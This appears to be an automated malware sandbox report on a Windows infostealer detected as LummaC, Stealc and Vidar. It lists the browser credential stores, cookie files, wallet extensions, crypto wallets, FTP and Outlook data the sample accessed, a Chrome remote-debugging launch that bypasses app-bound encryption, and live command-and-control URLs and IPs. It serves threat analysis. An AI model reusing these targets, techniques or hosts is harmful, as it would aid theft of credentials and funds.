Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 0000001B.00000003.3463145469.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3470889263.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.3463494156.00000000008EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.3469262980.00000000008E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.3448504377.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.3469317199.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.3448976301.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2638559950.000000000024C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.3448392980.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.3463567960.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 029a46b374.exe PID: 8652, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 029a46b374.exe PID: 8652, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2638559950.0000000000181000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3474702465.00000000014EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2639827168.000000000168E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3461107805.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3470376278.0000000000721000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2218283308.0000000005210000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 43f0b859c6.exe PID: 8500, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6264, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	21 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	112 Process Injection	4 Obfuscated Files or Information	Security Account Manager	247 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	47%	ReversingLabs	Win32.Trojan.Symmi
file.exe	53%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	47%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	34%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	34%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	47%	ReversingLabs	Win32.Trojan.Symmi

Source	Detection	Scanner	Label	Link
http://185.215.113.206/c4becf79229cb002.php~y	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apiVK	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllv	100%	Avira URL Cloud	malware
http://185.215.113.206U	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exe61395dd	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/mozglue.dllj	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dllR	100%	Avira URL Cloud	malware
https://msn.comXIDv10	0%	Avira URL Cloud	safe
https://cook-rain.sbs:443/apiontent-Encodingtext/html;	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe61395dd	18%	Virustotal		Browse
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllO	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apiA=	100%	Avira URL Cloud	malware
https://cook-rain.sbs/G	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php.y	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exex	100%	Avira URL Cloud	phishing
http://185.215.113.16/mine/random.exeX	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/0	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/sqlite3.dllx	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exec61395d7	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/W	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpfy	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	142.250.185.110	true	false	high
play.google.com	142.250.185.174	true	false	high
cook-rain.sbs	188.114.96.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.122	true	false	high
www.google.com	142.250.185.196	true	false	high
googlehosted.l.googleusercontent.com	142.250.186.65	true	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://sb.scorecardresearch.com/b2?rn=1731834457727&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1701CF37518866E22255DA0D50AD67DC&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://c.msn.com/c.gif?rnd=1731834457727&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=fb0b7b14dd1f4cc4b5c9b0fc5e318aba&activityId=fb0b7b14dd1f4cc4b5c9b0fc5e318aba&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://deff.nelreports.net/api/report?cat=msn	false	high
peepburry828.sbs	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
